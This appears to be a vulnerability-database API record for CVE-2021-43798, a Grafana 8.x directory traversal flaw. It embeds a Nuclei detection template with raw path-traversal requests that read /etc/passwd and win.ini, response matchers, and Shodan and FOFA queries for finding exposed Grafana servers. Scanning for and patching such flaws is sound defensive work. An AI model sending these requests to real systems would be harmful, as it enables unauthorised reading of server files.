{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-43798/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-43798/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-43798/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-43798/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-43798/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-43798"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-43798"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-43798.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2021-43798\n\ninfo:\n  name: Grafana v8.x - Arbitrary File Read\n  author: z0ne,dhiyaneshDk,j4vaovo\n  severity: high\n  description: Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.\n  impact: |\n    An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.\n  remediation: Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.\n  reference:\n    - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p\n    - https://nosec.org/home/detail/4914.html\n    - https://github.com/jas502n/Grafana-VulnTips\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-43798\n    - http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2021-43798\n    cwe-id: CWE-22\n    epss-score: 0.88503\n    epss-percentile: 0.99766\n    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*\n  metadata:\n    verified: \"true\"\n    max-request: 3\n    vendor: grafana\n    product: grafana\n    shodan-query:\n      - title:\"Grafana\"\n      - cpe:\"cpe:2.3:a:grafana:grafana\"\n      - http.title:\"grafana\"\n    fofa-query:\n      - title=\"grafana\"\n      - app=\"grafana\"\n    google-query: intitle:\"grafana\"\n  tags: cve2021,cve,packetstorm,grafana,lfi,vkev,kev,vuln\n\nhttp:\n  - raw:\n      - |+\n        GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n      - |+\n        GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n      - |+\n        GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n      - |+\n        GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n    unsafe: true\n    disable-path-automerge: true\n\n    payloads:\n      pluginSlug: helpers/wordlists/grafana-plugins.txt\n    threads: 50\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"text/plain\"\n\n      - type: regex\n        regex:\n          - \"root:.*:0:([0-9]+):\"\n          - '\\/tmp\\/grafana\\.sock'\n          - '\\[(fonts|extensions|Mail|files)\\]'\n        condition: or\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450221009195205a698367af3fc3f575bb5f972b96fa2d32cccd11cb47bdaac0d7a5e379022018876af946168ec21c783edfa9afea6b7edb4a75a95ccea1cfe2c56357269553:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-43798"
}